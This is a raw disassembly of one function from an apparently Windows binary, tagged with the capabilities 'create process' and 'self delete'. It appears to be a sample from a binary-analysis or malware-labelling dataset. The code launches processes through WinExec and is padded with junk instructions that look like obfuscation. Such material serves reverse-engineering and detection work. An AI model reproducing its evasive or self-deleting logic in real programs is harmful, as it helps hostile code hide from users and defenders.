Function at 0x44c55c
Capabilities:
Create process on windows
Self delete

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x48
push 0
push 0
dec ecx
jne 0x44c564
push ebx
push esi
push edi
mov ebx, dword [0x45df6c]
mov esi, dword [0x45dfb8]
mov edi, dword [0x45e254]
xor eax, eax
push ebp
push 0x44d833
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
call fcn.00457e98
mov edx, dword [ebp - 4]
mov eax, dword [0x45e3a0]
call fcn.00404df0
lea eax, [ebp - 8]
call fcn.0045279c
mov edx, dword [ebp - 8]
mov eax, dword [0x45e3f8]
call fcn.00404df0
mov al, 1
call fcn.0045686c
mov eax, dword [0x45e2a0]
mov byte [eax], 0
lea eax, [ebp - 0xc]
call fcn.0043c5d4
push 0
push 0
call sub.KERNEL32.DLL_SetProcessShutdownParameters
lea ecx, [ebp - 0x10]
mov eax, dword [0x45dff8]
push 0x53
pop edx
nop
nop
call fcn.00456134
mov edx, dword [ebp - 0x10]
mov eax, dword [0x45e3d0]
call fcn.00404df0
lea ecx, [ebp - 0x14]
mov eax, dword [0x45e34c]
nop
push 0x75
nop
pop edx
call fcn.00456134
mov edx, dword [ebp - 0x14]
mov eax, dword [0x45e220]
call fcn.00404df0
lea ecx, [ebp - 0x18]
mov eax, dword [0x45e1e0]
nop
push 0x7d
nop
pop edx
call fcn.00456134
mov edx, dword [ebp - 0x18]
mov eax, dword [0x45e088]
call fcn.00404df0
lea ecx, [ebp - 0x1c]
mov eax, dword [0x45e000]
mov edx, 0x5f
call fcn.00456134
mov edx, dword [ebp - 0x1c]
mov eax, dword [0x45e3f4]
call fcn.00404df0
lea ecx, [ebp - 0x20]
mov eax, dword [0x45e33c]
mov edx, 0x15f
call fcn.00456134
mov edx, dword [ebp - 0x20]
mov eax, dword [0x45e060]
call fcn.00404df0
mov eax, dword [0x45df98]
mov edx, 0x44d84c
call fcn.00404df0
mov eax, dword [0x45dfdc]
mov edx, 0x44d864
call fcn.00404df0
mov eax, dword [0x45e128]
mov edx, 0x44d880
call fcn.00404df0
mov eax, dword [0x45e1b8]
mov edx, 0x44d8d0
call fcn.00404df0
mov eax, dword [0x45e318]
mov edx, 0x44d920
call fcn.00404df0
mov eax, dword [0x45e1fc]
mov edx, 0x44d97c
call fcn.00404df0
mov eax, dword [0x45e450]
mov edx, 0x44d9cc
call fcn.00404df0
mov eax, dword [0x45e1a4]
mov edx, 0x44d9dc
call fcn.00404df0
mov eax, dword [0x45e434]
sub edx, edx
mov dword [eax], edx
mov eax, dword [0x45e21c]
mov dword [eax], 0xb
lea edx, [ebp - 0x24]
mov eax, 0x44d9e8
call fcn.00459098
mov edx, dword [ebp - 0x24]
mov eax, dword [0x45e3c4]
call fcn.00404df0
call fcn.00449cc8
push 0
push 0
mov eax, dword [0x45e13c]
push eax
mov ecx, 0x44c380
sub edx, edx
xor eax, eax
call fcn.00404d58
mov ecx, dword [0x45e3c4]
mov ecx, dword [ecx]
mov eax, dword [0x45e428]
mov edx, 0x44da0c
call fcn.004050a8
mov eax, dword [0x45e0a0]
mov eax, dword [eax]
call eax
mov edx, dword [0x45e3cc]
mov dword [edx], eax
push 0x44da20
mov eax, dword [0x45e3c4]
push dword [eax]
push 0x44da58
lea eax, [ebp - 0x2c]
push 3
pop edx
pushal
popal
call fcn.0040511c
mov eax, dword [ebp - 0x2c]
lea edx, [ebp - 0x28]
call fcn.00458fb8
mov edx, dword [ebp - 0x28]
mov eax, dword [0x45dfac]
call fcn.00404df0
push 0x44da64
mov eax, dword [0x45e3c4]
push dword [eax]
push 0
lea eax, [ebp - 0x34]
pushal
popal
push 3
pop edx
call fcn.0040511c
mov eax, dword [ebp - 0x34]
lea edx, [ebp - 0x30]
call fcn.00458fb8
mov edx, dword [ebp - 0x30]
mov eax, dword [0x45dfa8]
call fcn.00404df0
push 0x44daa0
mov eax, dword [0x45e3c4]
push dword [eax]
push 0x44da58
lea eax, [ebp - 0x3c]
push 3
pop edx
nop
nop
call fcn.0040511c
mov eax, dword [ebp - 0x3c]
lea edx, [ebp - 0x38]
call fcn.00458fb8
mov edx, dword [ebp - 0x38]
mov eax, dword [0x45e394]
call fcn.00404df0
call fcn.00449848
mov al, byte [0x44dacc]
push eax
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x44]
call fcn.00455650
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebx + 0x14]
mov edx, 0x44dad8
call fcn.0040dbd8
mov edx, dword [ebp - 0x40]
lea eax, [ebx + 0x14]
call fcn.00404df0
mov al, byte [0x44dacc]
push eax
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x4c]
call fcn.004556a8
mov ecx, dword [ebp - 0x4c]
mov eax, dword [ebx + 0x14]
mov edx, 0x44daec
call fcn.0040dbd8
mov edx, dword [ebp - 0x48]
lea eax, [ebx + 0x14]
call fcn.00404df0
mov al, byte [0x44dacc]
push eax
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x54]
call fcn.00455734
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebx + 0x14]
mov edx, 0x44db00
call fcn.0040dbd8
mov edx, dword [ebp - 0x50]
lea eax, [ebx + 0x14]
call fcn.00404df0
mov al, byte [0x44dacc]
push eax
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x5c]
call fcn.00455794
mov ecx, dword [ebp - 0x5c]
mov eax, dword [ebx + 0x14]
mov edx, 0x44db14
call fcn.0040dbd8
mov edx, dword [ebp - 0x58]
lea eax, [ebx + 0x14]
call fcn.00404df0
mov eax, dword [0x45e290]
mov dword [eax], 0x3e8
lea edx, [ebp - 0x60]
mov eax, dword [ebx + 0x1c]
call fcn.00422a1c
mov edx, dword [ebp - 0x60]
push esi
pop eax
call fcn.00404df0
mov eax, dword [0x45e1ec]
push dword [eax]
push dword [esi]
push 0x44db28
lea edx, [ebp - 0x64]
mov eax, 0x44db34
call fcn.00459098
push dword [ebp - 0x64]
mov eax, dword [0x45e444]
mov edx, 4
call fcn.0040511c
mov eax, dword [0x45e034]
push dword [eax]
push 0x44db4c
push dword [esi]
push 0x44db28
mov eax, dword [0x45e334]
mov edx, 4
call fcn.0040511c
lea edx, [ebp - 0x68]
mov eax, 0x44db34
call fcn.00459098
mov ecx, dword [ebp - 0x68]
mov edx, dword [ebx + 0x14]
mov eax, dword [0x45e104]
call fcn.004050a8
lea eax, [ebp - 0x6c]
call fcn.004556a8
push dword [ebp - 0x6c]
push dword [esi]
push 0x44db5c
mov eax, dword [0x45dfa0]
pushal
popal
push 3
pop edx
call fcn.0040511c
mov eax, dword [0x45e104]
mov eax, dword [eax]
call fcn.00409150
test al, al
jne 0x44c9ec
mov eax, dword [0x45e2a0]
cmp byte [eax], 1
jne 0x44c9b0
mov eax, dword [0x45e034]
push dword [eax]
push dword [esi]
push 0x44db28
lea edx, [ebp - 0x70]
mov eax, 7
call fcn.00456d68
push dword [ebp - 0x70]
mov eax, dword [0x45e3c4]
push dword [eax]
mov eax, edi
nop
push 5
nop
pop edx
call fcn.0040511c
jmp 0x44ca05
lea eax, [ebp - 0x74]
call fcn.00455650
push dword [ebp - 0x74]
push 0x44db6c
push dword [esi]
push 0x44db28
lea edx, [ebp - 0x78]
push 7
pop eax
nop
nop
call fcn.00456d68
push dword [ebp - 0x78]
mov eax, dword [0x45e3c4]
push dword [eax]
mov eax, edi
pushal
popal
push 6
pop edx
call fcn.0040511c
jmp 0x44ca05
lea edx, [ebp - 0x7c]
mov eax, dword [0x45e104]
mov eax, dword [eax]
call fcn.00456c14
mov edx, dword [ebp - 0x7c]
mov eax, edi
call fcn.00404df0
call fcn.0044b184
lea eax, [ebp - 0x80]
call fcn.00455650
push dword [ebp - 0x80]
push 0x44db8c
mov eax, dword [0x45e380]
push dword [eax]
push 0x44db9c
mov eax, dword [0x45e040]
push edi
pop edi
push 4
pop edx
call fcn.0040511c
lea eax, [ebp - 0x84]
call fcn.00455650
push dword [ebp - 0x84]
push 0x44db8c
mov eax, dword [0x45e380]
push dword [eax]
push 0x44dbac
mov eax, dword [0x45e1a8]
mov edx, 4
call fcn.0040511c
lea eax, [ebp - 0x88]
call fcn.00455650
push dword [ebp - 0x88]
push 0x44db8c
mov eax, dword [0x45e380]
push dword [eax]
push 0x44dbbc
mov eax, dword [0x45e29c]
push 4
pop edx
push edi
pop edi
call fcn.0040511c
lea edx, [ebp - 0x8c]
mov eax, dword [edi]
call fcn.00409470
mov edx, dword [ebp - 0x8c]
mov eax, dword [0x45e3c0]
mov ecx, 0x44dbcc
call fcn.004050a8
mov eax, 0x45fbe4
mov edx, 0x44dbdc
call fcn.00404df0
lea edx, [ebp - 0x90]
mov eax, dword [edi]
call fcn.00409470
push dword [ebp - 0x90]
push dword [esi]
push 0x44dbec
push dword [0x45fbe4]
mov eax, dword [0x45e14c]
nop
push 4
nop
pop edx
call fcn.0040511c
lea edx, [ebp - 0x94]
mov eax, dword [edi]
call fcn.00409470
push dword [ebp - 0x94]
push dword [esi]
push 0x44dbf8
push dword [0x45fbe4]
mov eax, dword [0x45e048]
nop
push 4
nop
pop edx
call fcn.0040511c
lea edx, [ebp - 0x98]
mov eax, dword [edi]
call fcn.00409470
push dword [ebp - 0x98]
push dword [esi]
push 0x44dc04
push dword [0x45fbe4]
mov eax, dword [0x45e16c]
mov edx, 4
call fcn.0040511c
lea edx, [ebp - 0x9c]
mov eax, dword [edi]
call fcn.00409470
push dword [ebp - 0x9c]
push dword [esi]
push 0x44dc10
push dword [0x45fbe4]
mov eax, dword [0x45e054]
push 4
pop edx
pushal
popal
call fcn.0040511c
lea edx, [ebp - 0xa0]
mov eax, dword [edi]
call fcn.00409470
push dword [ebp - 0xa0]
push dword [esi]
push 0x44dc1c
push dword [0x45fbe4]
mov eax, dword [0x45e3b8]
mov edx, 4
call fcn.0040511c
lea edx, [ebp - 0xa4]
mov eax, dword [edi]
call fcn.00409470
push dword [ebp - 0xa4]
push dword [esi]
push 0x44dc28
push dword [0x45fbe4]
mov eax, dword [0x45e2dc]
nop
push 4
nop
pop edx
call fcn.0040511c
lea edx, [ebp - 0xa8]
mov eax, dword [edi]
call fcn.00409470
push dword [ebp - 0xa8]
push dword [esi]
push 0x44dc34
push dword [0x45fbe4]
mov eax, dword [0x45e114]
nop
push 4
nop
pop edx
call fcn.0040511c
push dword [ebx + 0x14]
lea ecx, [ebp - 0xac]
mov edx, dword [0x45e090]
mov edx, dword [edx]
mov eax, dword [0x45e1a4]
mov eax, dword [eax]
call fcn.00422ab4
push dword [ebp - 0xac]
push dword [0x45fbe4]
mov eax, dword [0x45e438]
mov edx, 3
call fcn.0040511c
push dword [ebx + 0x14]
lea ecx, [ebp - 0xb0]
mov edx, dword [0x45e090]
mov edx, dword [edx]
mov eax, dword [0x45e1a4]
mov eax, dword [eax]
call fcn.00422ab4
push dword [ebp - 0xb0]
push 0x44dc40
push dword [0x45fbe4]
mov eax, dword [0x45e2c0]
nop
nop
push 4
pop edx
call fcn.0040511c
mov edx, dword [ebx + 0x14]
mov eax, dword [0x45e328]
mov ecx, 0x44dc4c
call fcn.004050a8
lea edx, [ebp - 0xb4]
pushfd
xor eax, eax
inc eax
popfd
call fcn.00402db8
mov eax, dword [ebp - 0xb4]
mov edx, 0x44dc5c
call fcn.004051a8
je 0x44d805
lea edx, [ebp - 0xb8]
pushfd
xor eax, eax
inc eax
popfd
call fcn.00402db8
mov eax, dword [ebp - 0xb8]
mov edx, 0x44dc68
call fcn.004051a8
jne 0x44cd45
push 5
lea edx, [ebp - 0xbc]
sub eax, eax
call fcn.00402db8
lea eax, [ebp - 0xbc]
mov edx, 0x44dc74
call fcn.00405064
mov eax, dword [ebp - 0xbc]
call fcn.0040525c
push eax
call sub.KERNEL32.DLL_WinExec
push 5
lea edx, [ebp - 0xc0]
sub eax, eax
call fcn.00402db8
lea eax, [ebp - 0xc0]
mov edx, 0x44dc74
call fcn.00405064
mov eax, dword [ebp - 0xc0]
call fcn.0040525c
push eax
call sub.KERNEL32.DLL_WinExec
jmp 0x44d805
lea edx, [ebp - 0xc4]
pushfd
xor eax, eax
inc eax
popfd
call fcn.00402db8
cmp dword [ebp - 0xc4], 0
jne 0x44cd86
mov eax, dword [ebx + 0x1c]
call fcn.0040525c
push eax
push 0xffffffffffffffff
push 0
call fcn.00406ffc
mov dword [0x45fbe8], eax
call sub.KERNEL32.DLL_GetLastError
cmp eax, 0xb7
jne 0x44cd86
call fcn.00404c28
lea edx, [ebp - 0xcc]
xor eax, eax
call fcn.00402db8
mov eax, dword [ebp - 0xcc]
lea edx, [ebp - 0xc8]
call fcn.004087e8
mov eax, dword [ebp - 0xc8]
push eax
lea edx, [ebp - 0xd0]
mov eax, dword [0x45dfa0]
mov eax, dword [eax]
call fcn.004087e8
mov edx, dword [ebp - 0xd0]
pop eax
call fcn.004051a8
jne 0x44cdf8
call fcn.00456210
mov eax, dword [edi]
call fcn.00458f38
cmp al, 1
jne 0x44cde7
push 0
call sub.KERNEL32.DLL_ExitProcess
jmp 0x44d805
call fcn.0044aff8
push 0
call sub.KERNEL32.DLL_ExitProcess
jmp 0x44d805
lea edx, [ebp - 0xd8]
xor eax, eax
call fcn.00402db8
mov eax, dword [ebp - 0xd8]
lea edx, [ebp - 0xd4]
call fcn.004087e8
mov eax, dword [ebp - 0xd4]
push eax
mov ecx, dword [ebx + 0x10]
mov edx, dword [ebx + 0x14]
lea eax, [ebp - 0xe0]
call fcn.004050a8
mov eax, dword [ebp - 0xe0]
lea edx, [ebp - 0xdc]
call fcn.004087e8
mov edx, dword [ebp - 0xdc]
pop eax
call fcn.004051a8
je 0x44ce8d
lea edx, [ebp - 0xe8]
sub eax, eax
call fcn.00402db8
mov eax, dword [ebp - 0xe8]
lea edx, [ebp - 0xe4]
call fcn.004087e8
mov eax, dword [ebp - 0xe4]
push eax
lea edx, [ebp - 0xec]
mov eax, dword [edi]
call fcn.004087e8
mov edx, dword [ebp - 0xec]
pop eax
call fcn.004051a8
jne 0x44ceb7
lea edx, [ebp - 0xf0]
mov eax, 1
call fcn.00402db8
cmp dword [ebp - 0xf0], 0
jne 0x44ceb7
call fcn.0044c458
push 0
call sub.KERNEL32.DLL_ExitProcess
jmp 0x44d805
lea edx, [ebp - 0xf4]
pushfd
xor eax, eax
inc eax
popfd
call fcn.00402db8
cmp dword [ebp - 0xf4], 0
je 0x44cf36
lea edx, [ebp - 0xfc]
pushfd
xor eax, eax
inc eax
popfd
call fcn.00402db8
mov eax, dword [ebp - 0xfc]
lea edx, [ebp - 0xf8]
call fcn.00408a10
mov eax, dword [ebp - 0xf8]
mov edx, 0x44dc84
call fcn.004051a8
je 0x44cf36
lea edx, [ebp - 0x104]
nop
nop
push 1
pop eax
call fcn.00402db8
mov eax, dword [ebp - 0x104]
lea edx, [ebp - 0x100]
call fcn.00408a10
mov eax, dword [ebp - 0x100]
mov edx, 0x44dc90
call fcn.004051a8
jne 0x44cf40
call fcn.0044e440
jmp 0x44d805
lea edx, [ebp - 0x10c]
mov eax, 1
call fcn.00402db8
mov eax, dword [ebp - 0x10c]
lea edx, [ebp - 0x108]
call fcn.00408a10
mov eax, dword [ebp - 0x108]
push eax
lea edx, [ebp - 0x110]
mov eax, dword [0x45e128]
mov eax, dword [eax]
call fcn.00408a10
mov edx, dword [ebp - 0x110]
pop eax
call fcn.004051a8
je 0x44d020
lea edx, [ebp - 0x118]
pushfd
xor eax, eax
inc eax
popfd
call fcn.00402db8
mov eax, dword [ebp - 0x118]
lea edx, [ebp - 0x114]
call fcn.00408a10
mov eax, dword [ebp - 0x114]
push eax
lea edx, [ebp - 0x11c]
mov eax, dword [0x45e1b8]
mov eax, dword [eax]
call fcn.00408a10
mov edx, dword [ebp - 0x11c]
pop eax
call fcn.004051a8
je 0x44d020
lea edx, [ebp - 0x124]
mov eax, 1
call fcn.00402db8
mov eax, dword [ebp - 0x124]
lea edx, [ebp - 0x120]
call fcn.00408a10
mov eax, dword [ebp - 0x120]
push eax
lea edx, [ebp - 0x128]
mov eax, dword [0x45e450]
mov eax, dword [eax]
call fcn.00408a10
mov edx, dword [ebp - 0x128]
pop eax
call fcn.004051a8
jne 0x44d11f
lea edx, [ebp - 0x130]
xor eax, eax
call fcn.00402db8
mov eax, dword [ebp - 0x130]
lea edx, [ebp - 0x12c]
call fcn.004087e8
mov eax, dword [ebp - 0x12c]
push eax
mov ecx, dword [ebx + 0x10]
mov edx, dword [ebx + 0x14]
lea eax, [ebp - 0x138]
call fcn.004050a8
mov eax, dword [ebp - 0x138]
lea edx, [ebp - 0x134]
call fcn.004087e8
mov edx, dword [ebp - 0x134]
pop eax
call fcn.004051a8
je 0x44d0ff
lea edx, [ebp - 0x140]
sub eax, eax
call fcn.00402db8
mov eax, dword [ebp - 0x140]
lea edx, [ebp - 0x13c]
call fcn.004087e8
mov eax, dword [ebp - 0x13c]
push eax
lea edx, [ebp - 0x144]
mov eax, dword [edi]
call fcn.004087e8
mov edx, dword [ebp - 0x144]
pop eax
call fcn.004051a8
je 0x44d0ff
push 0x44b0cc
push 0x1f4
push 0xa
push 0
call sub.user32.dll_SetTimer
mov edx, dword [0x45dfc0]
mov dword [edx], eax
lea edx, [ebp - 0x14c]
pushfd
xor eax, eax
inc eax
popfd
call fcn.00402db8
mov eax, dword [ebp - 0x14c]
lea edx, [ebp - 0x148]
call fcn.0043bb60
call fcn.0044bbb0
jmp 0x44d805
push fcn.0044aff8
push 0x1f4
push 0xa
push 0
call sub.user32.dll_SetTimer
mov edx, dword [0x45dfc0]
mov dword [edx], eax
jmp 0x44d3cb
lea edx, [ebp - 0x154]
mov eax, 1
call fcn.00402db8
mov eax, dword [ebp - 0x154]
lea edx, [ebp - 0x150]
call fcn.00408a10
mov eax, dword [ebp - 0x150]
push eax
lea edx, [ebp - 0x158]
mov eax, dword [0x45df98]
mov eax, dword [eax]
call fcn.00408a10
mov edx, dword [ebp - 0x158]
pop eax
call fcn.004051a8
je 0x44d24b
lea edx, [ebp - 0x160]
nop
push 1
nop
pop eax
call fcn.00402db8
mov eax, dword [ebp - 0x160]
lea edx, [ebp - 0x15c]
call fcn.00408a10
mov eax, dword [ebp - 0x15c]
push eax
lea edx, [ebp - 0x164]
mov eax, dword [0x45dfdc]
mov eax, dword [eax]
call fcn.00408a10
mov edx, dword [ebp - 0x164]
pop eax
call fcn.004051a8
je 0x44d24b
lea edx, [ebp - 0x16c]
pushfd
xor eax, eax
inc eax
popfd
call fcn.00402db8
mov eax, dword [ebp - 0x16c]
lea edx, [ebp - 0x168]
call fcn.00408a10
mov eax, dword [ebp - 0x168]
push eax
lea edx, [ebp - 0x170]
mov eax, dword [0x45e318]
mov eax, dword [eax]
call fcn.00408a10
mov edx, dword [ebp - 0x170]
pop eax
call fcn.004051a8
je 0x44d24b
lea edx, [ebp - 0x178]
pushfd
xor eax, eax
inc eax
popfd
call fcn.00402db8
mov eax, dword [ebp - 0x178]
lea edx, [ebp - 0x174]
call fcn.00408a10
mov eax, dword [ebp - 0x174]
push eax
lea edx, [ebp - 0x17c]
mov eax, dword [0x45e1fc]
mov eax, dword [eax]
call fcn.00408a10
mov edx, dword [ebp - 0x17c]
pop eax
call fcn.004051a8
jne 0x44d31b
lea edx, [ebp - 0x184]
nop
push 1
nop
pop eax
call fcn.00402db8
mov eax, dword [ebp - 0x184]
lea edx, [ebp - 0x180]
call fcn.00408a10
mov eax, dword [ebp - 0x180]
push eax
lea edx, [ebp - 0x188]
mov eax, dword [0x45df98]
mov eax, dword [eax]
call fcn.00408a10
mov edx, dword [ebp - 0x188]
pop eax
call fcn.004051a8
je 0x44d2db
lea edx, [ebp - 0x190]
pushfd
xor eax, eax
inc eax
popfd
call fcn.00402db8
mov eax, dword [ebp - 0x190]
lea edx, [ebp - 0x18c]
call fcn.00408a10
mov eax, dword [ebp - 0x18c]
push eax
lea edx, [ebp - 0x194]
mov eax, dword [0x45dfdc]
mov eax, dword [eax]
call fcn.00408a10
mov edx, dword [ebp - 0x194]
pop eax
call fcn.004051a8
jne 0x44d2fb
push 0x44abac
push 0x320
push 1
push 0
call sub.user32.dll_SetTimer
mov edx, dword [0x45e11c]
mov dword [edx], eax
jmp 0x44d3cb
push 0x44aadc
push 0x320
push 1
push 0
call sub.user32.dll_SetTimer
mov edx, dword [0x45e11c]
mov dword [edx], eax
jmp 0x44d3cb
lea edx, [ebp - 0x198]
pushfd
xor eax, eax
inc eax
popfd
call fcn.00402db8
mov eax, dword [ebp - 0x198]
mov edx, 0x44dc9c
call fcn.004051a8
jne 0x44d3a1
sub eax, eax
push ebp
push 0x44d39a
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x44d36f
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x45dfdc]
mov eax, dword [eax]
call fcn.004492e4
sub eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x44d385
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44d3cb
push 0
call sub.KERNEL32.DLL_ExitProcess
ret
mov ecx, dword [ebx + 0x10]
mov edx, dword [ebx + 0x14]
lea eax, [ebp - 0x1a0]
call fcn.004050a8
mov eax, dword [ebp - 0x1a0]
lea ecx, [ebp - 0x19c]
mov edx, dword [0x45e128]
mov edx, dword [edx]
call fcn.0044ae70
lea edx, [ebp - 0x1a8]
pushfd
xor eax, eax
inc eax
popfd
call fcn.00402db8
mov eax, dword [ebp - 0x1a8]
lea edx, [ebp - 0x1a4]
call fcn.0043bb60
lea edx, [ebp - 0x1b0]
pushfd
xor eax, eax
inc eax
popfd
call fcn.00402db8
mov eax, dword [ebp - 0x1b0]
lea edx, [ebp - 0x1ac]
call fcn.00408a10
mov eax, dword [ebp - 0x1ac]
push eax
lea edx, [ebp - 0x1b4]
mov eax, dword [0x45e318]
mov eax, dword [eax]
call fcn.00408a10
mov edx, dword [ebp - 0x1b4]
pop eax
call fcn.004051a8
je 0x44d4f9
lea edx, [ebp - 0x1bc]
nop
push 1
nop
pop eax
call fcn.00402db8
mov eax, dword [ebp - 0x1bc]
lea edx, [ebp - 0x1b8]
call fcn.00408a10
mov eax, dword [ebp - 0x1b8]
push eax
lea edx, [ebp - 0x1c0]
mov eax, dword [0x45e1fc]
mov eax, dword [eax]
call fcn.00408a10
mov edx, dword [ebp - 0x1c0]
pop eax
call fcn.004051a8
je 0x44d4f9
lea edx, [ebp - 0x1c8]
pushfd
xor eax, eax
inc eax
popfd
call fcn.00402db8
mov eax, dword [ebp - 0x1c8]
lea edx, [ebp - 0x1c4]
call fcn.00408a10
cmp dword [ebp - 0x1c4], 0
je 0x44d4f9
lea edx, [ebp - 0x1d0]
pushfd
xor eax, eax
inc eax
popfd
call fcn.00402db8
mov eax, dword [ebp - 0x1d0]
lea edx, [ebp - 0x1cc]
call fcn.0043ba38
mov eax, dword [ebp - 0x1cc]
push eax
call sub.KERNEL32.DLL_GetCurrentProcessId
sub edx, edx
push edx
push eax
lea eax, [ebp - 0x1d4]
call fcn.00408d10
mov edx, dword [ebp - 0x1d4]
pop eax
call fcn.004051a8
je 0x44d4f9
call fcn.00404c28
lea edx, [ebp - 0x1dc]
push ebx
pop ebx
push 1
pop eax
call fcn.00402db8
mov eax, dword [ebp - 0x1dc]
lea edx, [ebp - 0x1d8]
call fcn.00408a10
mov eax, dword [ebp - 0x1d8]
push eax
lea edx, [ebp - 0x1e0]
mov eax, dword [0x45e318]
mov eax, dword [eax]
call fcn.00408a10
mov edx, dword [ebp - 0x1e0]
pop eax
call fcn.004051a8
je 0x44d589
lea edx, [ebp - 0x1e8]
pushfd
xor eax, eax
inc eax
popfd
call fcn.00402db8
mov eax, dword [ebp - 0x1e8]
lea edx, [ebp - 0x1e4]
call fcn.00408a10
mov eax, dword [ebp - 0x1e4]
push eax
lea edx, [ebp - 0x1ec]
mov eax, dword [0x45e128]
mov eax, dword [eax]
call fcn.00408a10
mov edx, dword [ebp - 0x1ec]
pop eax
call fcn.004051a8
jne 0x44d5a9
push 0
push 0
mov eax, dword [0x45e13c]
push eax
mov ecx, 0x4580b8
xor edx, edx
xor eax, eax
call fcn.00404d58
mov edx, dword [0x45e430]
mov dword [edx], eax
lea edx, [ebp - 0x1f4]
pushfd
xor eax, eax
inc eax
popfd
call fcn.00402db8
mov eax, dword [ebp - 0x1f4]
lea edx, [ebp - 0x1f0]
call fcn.00408a10
mov eax, dword [ebp - 0x1f0]
push eax
lea edx, [ebp - 0x1f8]
mov eax, dword [0x45e1b8]
mov eax, dword [eax]
call fcn.00408a10
mov edx, dword [ebp - 0x1f8]
pop eax
call fcn.004051a8
je 0x44d63d
lea edx, [ebp - 0x200]
push edi
pop edi
push 1
pop eax
call fcn.00402db8
mov eax, dword [ebp - 0x200]
lea edx, [ebp - 0x1fc]
call fcn.00408a10
mov eax, dword [ebp - 0x1fc]
push eax
lea edx, [ebp - 0x204]
mov eax, dword [0x45e318]
mov eax, dword [eax]
call fcn.00408a10
mov edx, dword [ebp - 0x204]
pop eax
call fcn.004051a8
jne 0x44d709
push 0x44dcac
mov eax, dword [0x45e3c4]
push dword [eax]
push 0x44da58
lea eax, [ebp - 0x20c]
mov edx, 3
call fcn.0040511c
mov eax, dword [ebp - 0x20c]
lea edx, [ebp - 0x208]
call fcn.00458fb8
mov eax, dword [ebp - 0x208]
call fcn.0043b6d0
test al, al
jne 0x44d709
push 0x44dcd0
mov eax, dword [0x45e3c4]
push dword [eax]
push 0x44da58
lea eax, [ebp - 0x214]
push 3
pop edx
push eax
pop eax
call fcn.0040511c
mov eax, dword [ebp - 0x214]
lea edx, [ebp - 0x210]
call fcn.00458fb8
mov eax, dword [ebp - 0x210]
call fcn.0043b6d0
test al, al
jne 0x44d709
push 0x44dcfc
mov eax, dword [0x45e3c4]
push dword [eax]
push 0x44dd24
lea eax, [ebp - 0x21c]
nop
push 3
nop
pop edx
call fcn.0040511c
mov eax, dword [ebp - 0x21c]
lea edx, [ebp - 0x218]
call fcn.00458fb8
mov eax, dword [ebp - 0x218]
call fcn.0043b6d0
test al, al
jne 0x44d709
call fcn.0044dd9c
lea edx, [ebp - 0x224]
pushal
popal
push 1
pop eax
call fcn.00402db8
mov eax, dword [ebp - 0x224]
lea edx, [ebp - 0x220]
call fcn.00408a10
mov eax, dword [ebp - 0x220]
push eax
lea edx, [ebp - 0x228]
mov eax, dword [0x45e1fc]
mov eax, dword [eax]
call fcn.00408a10
mov edx, dword [ebp - 0x228]
pop eax
call fcn.004051a8
jne 0x44d769
push 0
push 0
mov eax, dword [0x45e13c]
push eax
mov ecx, 0x44a314
sub edx, edx
sub eax, eax
call fcn.00404d58
lea edx, [ebp - 0x230]
pushfd
xor eax, eax
inc eax
popfd
call fcn.00402db8
mov eax, dword [ebp - 0x230]
lea edx, [ebp - 0x22c]
call fcn.00408a10
mov eax, dword [ebp - 0x22c]
push eax
lea edx, [ebp - 0x234]
mov eax, dword [0x45e318]
mov eax, dword [eax]
call fcn.00408a10
mov edx, dword [ebp - 0x234]
pop eax
call fcn.004051a8
je 0x44d7f9
lea edx, [ebp - 0x23c]
pushfd
xor eax, eax
inc eax
popfd
call fcn.00402db8
mov eax, dword [ebp - 0x23c]
lea edx, [ebp - 0x238]
call fcn.00408a10
mov eax, dword [ebp - 0x238]
push eax
lea edx, [ebp - 0x240]
mov eax, dword [0x45e1fc]
mov eax, dword [eax]
call fcn.00408a10
mov edx, dword [ebp - 0x240]
pop eax
call fcn.004051a8
jne 0x44d800
call fcn.0044bc84
jmp 0x44d805
call fcn.0044c1d8
sub eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44d83a
lea eax, [ebp - 0x240]
push 0x64
pop edx
nop
nop
call fcn.00404dc0
lea eax, [ebp - 0xb0]
push 0x2c
pop edx
push ebx
pop ebx
call fcn.00404dc0
ret